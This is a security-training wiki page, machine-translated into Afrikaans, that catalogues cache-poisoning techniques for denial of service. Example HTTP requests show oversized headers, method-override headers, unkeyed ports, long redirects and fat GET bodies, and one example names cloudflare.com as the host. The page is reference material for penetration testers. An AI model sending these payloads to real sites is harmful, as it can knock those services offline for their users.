Cache Poisoning to DoS

Reading time: 4 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

caution

In hierdie bladsy kan jy verskillende variasies vind om te probeer om die webbediener te laat reageer met foute op versoeke wat geldend is vir die kasbedieners

  • HTTP Header Oversize (HHO)

Stuur 'n versoek met 'n kopgrootte groter as die een wat deur die webbediener ondersteun word, maar kleiner as die een wat deur die kasbediener ondersteun word. Die webbediener sal met 'n 400-respons reageer wat dalk gekas kan word:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Karakter (HMC) & Onverwagte waardes

Stuur 'n kop wat sommige skadelike meta karakters soos en bevat. Ten einde die aanval te laat werk, moet jy eers die cache omseil.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

'n Sleg geconfigureerde kop kan net \: as 'n kop wees.

Dit kan ook werk as onverwagte waardes gestuur word, soos 'n onverwagte Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Ongekeyde kop

Sommige webwerwe sal 'n foutstatuskode teruggee as hulle sekere spesifieke koppe in die versoek sien soos met die X-Amz-Website-Location-Redirect: someThing kop:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Metode Oorskrywing Aanval (HMO)

As die bediener die verandering van die HTTP-metode met koptekste soos X-HTTP-Method-Override, X-HTTP-Method of X-Method-Override ondersteun, is dit moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Ongekeyde Poort

As die poort in die Host-kop in die antwoord weerspieël word en nie in die cache-sleutel ingesluit is nie, is dit moontlik om dit na 'n onbenutte poort te herlei:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Lang Oorgang DoS

Soos in die volgende voorbeeld, x word nie in die cache gestoor nie, so 'n aanvaller kan die oorgang respons gedrag misbruik om die oorgang 'n URL te laat stuur wat so groot is dat dit 'n fout teruggee. Dan sal mense wat probeer om die URL te benader sonder die ongecacheerde x sleutel die fout respons ontvang:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Gasheer-kop geval normalisering

Die gasheer-kop moet gevalsensitief wees, maar sommige webwerwe verwag dit om kleinletters te wees en keer 'n fout terug as dit nie is nie:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Pad normalisering

Sommige bladsye sal foutkode teruggee wat data URLencode in die pad stuur, egter, die cache bediener sal die pad URLdecode en die antwoord vir die URLdecoded pad stoor:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Sommige cache bedieners, soos Cloudflare, of web bedieners, stop GET versoeke met 'n liggaam, so dit kan misbruik word om 'n ongeldige antwoord te cache:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks